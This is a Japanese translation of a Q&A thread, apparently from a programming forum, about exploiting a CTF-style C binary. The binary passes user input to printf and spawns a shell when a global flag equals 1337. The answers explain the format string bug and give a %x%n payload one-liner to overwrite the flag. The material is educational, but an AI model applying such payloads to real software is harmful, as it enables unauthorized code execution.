ソースコードにアクセスできるバイナリファイルを悪用しようとしています。
int flag = 0;
int main() {
char buf[0x50];
puts("Who are you? ");
printf("> ");
fgets(buf, 0x50, stdin);
printf(buf);
if (flag == 1337) {
puts("Enjoy your Shell!");
system("/bin/sh");}
else {
puts("Not allowed");
}
return 0;
}
ソースコードからわかるように、フラグが1377の場合はシェルを取得します。これはgdbでも確認できます。
0x4007ec <main+175> mov eax, DWORD PTR [rip+0x200892] # 0x601084 <flag>
0x4007f2 <main+181> cmp eax, 0x539
セキュリティ対策は次のように設定されています。
Canary : Yes
NX : Yes
PIE : No
Fortify : No
RelRO : Partial
したがって、プログラムは入力を収集するためにfgets
を使用するため、最初に古典的なバッファオーバーフローを行うことはできません。もちろんカナリアもそこにありますが、フラグの値を変更できた場合(カナリアのチェックが行われる前)、シェルを取得することに成功するので、害はありません。私がこれを正しく考えているかどうかわからないので、間違っている場合は修正してください。
これに関する私の最初の結論は、フラグの値を書き換えるためにbuf
を利用することはできないということでした。 (buf
とflag
はスタック上で互いに隣り合って配置されると想定しました)。 $rsp
レジスタを見て、許可された量の "A"だけがスタックに配置されていることがわかったので、私はこれが正しいと思います。したがって、フラグがその真下に配置されていても、フラグの値は上書きされません。 私は今のところ正しいですか?それが私の最初の質問になります
0x7fffffffdaf0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdb00: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdb10: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdb20: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdb30: 0x41414141 0x41414141 0x41414141 0x00414141
0x7fffffffdb40: 0x00400840 0x00000000 0x96703f00 0x948afed7
0x7fffffffdb50: 0xffffdc40 0x00007fff 0x00000000 0x00000000
では、どうすればその値の範囲を設定できますか?私は悪用が悪意のあるユーザーによって提供されたペイロードから来る必要があると思いますが、buf
がそのペイロードをスタックに入れる唯一の方法です。 buf
をオーバーフローさせてレジスタを上書きすることはできないので、少し迷ってしまいます。
境界チェックのため、バッファがフラグをオーバーフローできないことは正しいです。 Fgetsは、バインドチェックにnull文字も含めます。
http://www.cplusplus.com/reference/cstdio/fgets/
ただし、ここには文字列形式の脆弱性があります。
printf(buf);
ユーザー制御の変数bufがprintfステートメントで使用され、フォーマット文字列の脆弱性を引き起こします。
https://www.exploit-db.com/docs/28476.pdf
%x %n
の組み合わせを使用すると、フラグを「1337」で上書きできます。 %xはスタックから値をポップするために使用され、%nはそのアドレスに文字数を書き込むために使用されます。 「1337u」は文字数を拡張するため、正しい値を書き込むことができます。たとえば、フラグのメモリ位置が「0xffffff80」の場合
$(python -c 'print "\x80\xff\xff\xff"+"%x%1337u%n"')
これにより、「1337u」の前に他の要素があるため、1337より大きい数値が書き込まれます。そのため、船外に移動する量でその数値を引くだけで、正しい数値が得られます。または、いくつかの計算を行いたい場合、「u」の値は次のとおりです。「書き込まれるバイト」–「出力されるバイト」+「%nの直前に指定された%xの幅」
flag
は関数に対してローカルではなく、スコープ内でグローバルです。したがって、ランタイムスタックにありません。バイナリにパッチを適用するか、buf
への入力がサニタイズされておらず、buf
がprintf
への引数であることを利用してください(フォーマット文字列引数の値を操作して、 1337
は、アドレス0x601084
)に書き込まれます。
flag
は静的に割り当てられた変数で、その値はランタイムスタックではなく、プロセスのdata
またはbss
セグメントに格納されます。バイナリにアクセスできる場合は、値1337がアドレス0x601084
に格納されるようにパッチを適用できます。これは、.data
または.bss
セクションにある必要があります。ここでグローバル変数flag
は0に初期化されているため、バイナリの.bss
セクションとプロセスのbss
セグメントに含まれる可能性があります(これは、他の値に初期化されました)。
コンパイラがソースコード内の位置に基づいて変数にメモリを割り当てる方法を知らなかったとしても、アドレスをスタックポインタのアドレスと比較することにより、flag
がランタイムスタックに格納されていないことを判別できます%rsp
:場所0x601084
は、メモリ内で0x7fffffffdaf0
よりもはるかに低いです。